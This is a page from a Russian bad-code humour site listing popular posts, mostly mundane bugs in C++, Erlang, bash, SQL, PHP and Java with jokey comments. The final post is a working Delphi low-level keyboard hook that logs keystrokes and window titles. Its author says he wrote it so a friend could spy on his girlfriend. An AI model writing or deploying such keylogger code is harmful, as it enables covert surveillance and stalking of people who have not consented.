1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #3466

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    typedef signed int s32;
    
    //...
    
    void SomeStruct::SomeFunc(const char* ipImageName /*, ... */ )
    {
    	// ...
    
    	s32 imageNameSize = strlen(ipImageName) * sizeof(char) + 1;
    	this->mpImageName = new char[imageNameSize];
    	strcpy(this->mpImageName, ipImageName);
    	
    	// ...
    }

    А теперь представим, что вместо char будет wchar_t... ...автор - лид-программист...

    Kirinyale, 13 Июня 2010

    Комментарии (128)
  3. Куча / Говнокод #3044

    +133.8

    1. 1
    2. 2
    3. 3
    Продолжение обсуждения Говнокод #3028
    
    Предлагаю перейти сюда, а то каментов тонна.

    Продолжение обсуждения Говнокод #3028

    А то каментов скопилось.


    Предлагаю премодерацию переложить на плечи тех, кто постит.
    Выложил говно -- проследи, чтобы обсуждение было на уровне.

    Отдельно на должности модеров, я думаю, народ не пойдет. Это отнимает много времени и сил.
    Тем более ГдеЗдесьСиПлюсПлюсеры не дремлют.

    Если постер будет излишне необъективен и будет выпиливать любую критику, то его ветка просто будет уныла.
    Ведь при наличии хорошего диалога в каментах, даже из неоднозначного поста получается годная вещь.

    Для гестов можно ввести ограничение по количеству каментов в сутки, следить по IP, хотя этот метод не лишен недостатков.
    Или установить вырвиглазную капчу. Шутка. :))

    mrbig66, 19 Апреля 2010

    Комментарии (128)
  4. Куча / Говнокод #27464

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    insert(Alias, Tab, Val) ->
        ok.
    
    delete(_Alias, _Tab, _Key) ->
        ok.
    
    add_aliases(_) ->
        ok.
    
    remove_aliases(_) ->
        ok.
    
    check_definition(_Alias, _Tab, _Nodes, _Properties) ->
        ok.
    
    close_table(_Alias, _Tab) ->
        ok.
    
    create_table(_Alias, _Tab, _Properties) ->
        ok.
    
    delete_table(_Alias, _Tab) ->
        ok.
    
    first(_Alias, _Tab) ->
        '$end_of_table'.
    
    fixtable(_Alias, _Tab, _Bool) ->
        ok.
    
    last(_Alias, _Tab) ->
        '$end_of_table'.
    
    index_is_consistent(_Alias, _IxTag, _Bool) ->
        ok.
    
    init_backend() ->
        ok.
    
    info(_Alias, Tab, memory) ->
        0;
    info(Alias, Tab, size) ->
        0;
    info(_Alias, _Info, _Item) ->
        nobody_here_but_us_chicken.
    
    lookup(_Alias, _Tab, _Key) ->
        [].
    
    is_index_consistent(_Alias, _IxTag) ->
        true.
    
    load_table(_Alias, _Tab, _Reason, _CsList) ->
        ok.
    
    match_delete(_Alias, _Tab, _Pattern) ->
        ok.
    
    next(_Alias, _Tab, _Key) ->
        '$end_of_table'.
    
    prev(_Alias, _Tab, _Key) ->
        '$end_of_table'.
    
    real_suffixes() ->
        [].
    
    repair_continuation(Continuation, _MatchSpec) ->
        Continuation.
    
    select(_Continuation) ->
        '$end_of_table'.
    
    select(_Alias, _Tab, _Pattern) ->
        '$end_of_table'.
    
    select(_Alias, _Tab, _Pattern, _Limit) ->
        '$end_of_table'.
    
    
    semantics(_Alias, storage) -> ram_copies;
    semantics(_Alias, types  ) -> [set, ordered_set, bag];
    semantics(_Alias, index_types) -> [];
    semantics(_Alias, _) -> undefined.
    
    slot(_Alias, _Tab, _Pos) ->
        '$end_of_table'.
    
    sync_close_table(_Alias, _Tab) ->
        ok.
    
    tmp_suffixes() ->
        [].

    If /dev/null is fast in web scale I will use it. Is it web scale? Does /dev/null support sharding?

    CHayT, 09 Июня 2021

    Комментарии (127)
  5. bash / Говнокод #25086

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    function SymlinkNextStunnelConfig {
        OLDIFS=$IFS
        IFS=$'\n'
        stunnelConfigs=($(find ${STUNNEL_CONFIG_D} -regex ".*\.conf$"))
        IFS=$OLDIFS
    
        if [[ -f ${CURRENT_STUNNEL_CONF} ]]; then
            currentConfig=$(readlink -f ${CURRENT_STUNNEL_CONF})
        else
            currentConfig=""
        fi
    
        if [[ ${#stunnelConfigs[@]} -eq 0 ]]; then
            echo "No config found in ${STUNNEL_CONFIG_D}"
            exit 6
        elif [[ ${#stunnelConfigs[@]} -eq 1 ]]; then
            nextConfig=${stunnelConfigs[0]}
        else {
            echo "ZAEBALO. DELAY SYMLINK VRUCHNUYU!"
        }
        fi
    
        if [[ -L ${CURRENT_STUNNEL_CONF} ]]; then
            rm -f ${CURRENT_STUNNEL_CONF}
        fi
    
        ln -s ${stunnelConfigs[0]} ${CURRENT_STUNNEL_CONF}
    }

    Нашёл старую какашку, запостил перед удалением.

    fluttr, 13 Ноября 2018

    Комментарии (127)
  6. SQL / Говнокод #16459

    −117

    1. 1
    DELETE FROM "DB_NAME"."TABLE_NAME" WHERE ROWID = 'AAAgtGAAFAAAAYDAAC' AND ORA_ROWSCN = '17177328' and ( "PKEY_COL" is null or "PKEY_COL" is not null )

    Запрос, генерируемый SQL Developer для удаления строки. Ну чё, зато работает.

    Elvenfighter, 31 Июля 2014

    Комментарии (127)
  7. PHP / Говнокод #13938

    +123

    1. 1
    list($ignore, $ignore, $ignore, $ignore,$ignore, $ignore, $radius, $ignore) = get_location_data($request['location']);

    someone, 14 Октября 2013

    Комментарии (127)
  8. Куча / Говнокод #13271

    +107

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Jenkins Auto-Updater added a comment - Today 00:35
    
    UNSTABLE: Integrated in contoso #223
    
    Create unit test for CN-858; Currently fails

    someone, 30 Июня 2013

    Комментарии (127)
  9. Java / Говнокод #27934

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    import java.text.SimpleDateFormat;
    import java.util.Date;
    
    public class Main {
      public static void main(String[] args) {
    	System.out.println(new SimpleDateFormat("yyyy-MM-dd").format(new Date(2022 - 1900, 0, 1, 20, 30)));
    	System.out.println(new SimpleDateFormat("YYYY-MM-dd").format(new Date(2022 - 1900, 0, 1, 20, 30)));
      }
    }

    А что там у Jawa-блядей за отсос должен был случиться 1 января? Я что-то не могу воспроизвести:
    https://www.programmersought.com/article/47096700076/

    3_dar, 07 Января 2022

    Комментарии (126)
  10. C++ / Говнокод #25618

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    #include <stdio.h>
    #include <conio.h>
    #include <iostream>
    // -------------------------------------------
    #define belugina0 std::wstring("нельзя писать сервера на js")
    #define belugina1 std::wstring("js это обертка для html")
    #define belugina2 std::wstring("Вектор это не динамический массив")
    #define belugina3 std::wstring("-Размер инта? Ответ: "Ну два" ")
    #define belugina4 std::wstring("Бинарным поиском  можно найти максимальное количество минимальных элементов")
    #define belugina5 std::wstring("Бинарным поиском  можно найти сумму элементов массива")
    #define belugina6 std::wstring("Бинарным поиском  можно найти среднее арифметическое массива") 
    #define belugina7 std::wstring("Операцию "перечисления"  это  - когда массив  содержит числа, принадлежащие обоим массивам")
    // наркотики зло
    void main ()
    {
    
    int n; // количество вершин
    int **G;// исходный граф
    int **H; // матрица списка ребер с весом
    int **K; /*матрица, отмечающая принадлежность
    вершины компоненте*/
    int **T; // матрица остовного дерева
    int **L; // список ребер с ценами минимального дерева
    }

    Список моих цитат
    Краткость сестра таланта.

    dethless, 19 Мая 2019

    Комментарии (126)
  11. Pascal / Говнокод #24859

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    BagorCtretora, 04 Октября 2018

    Комментарии (126)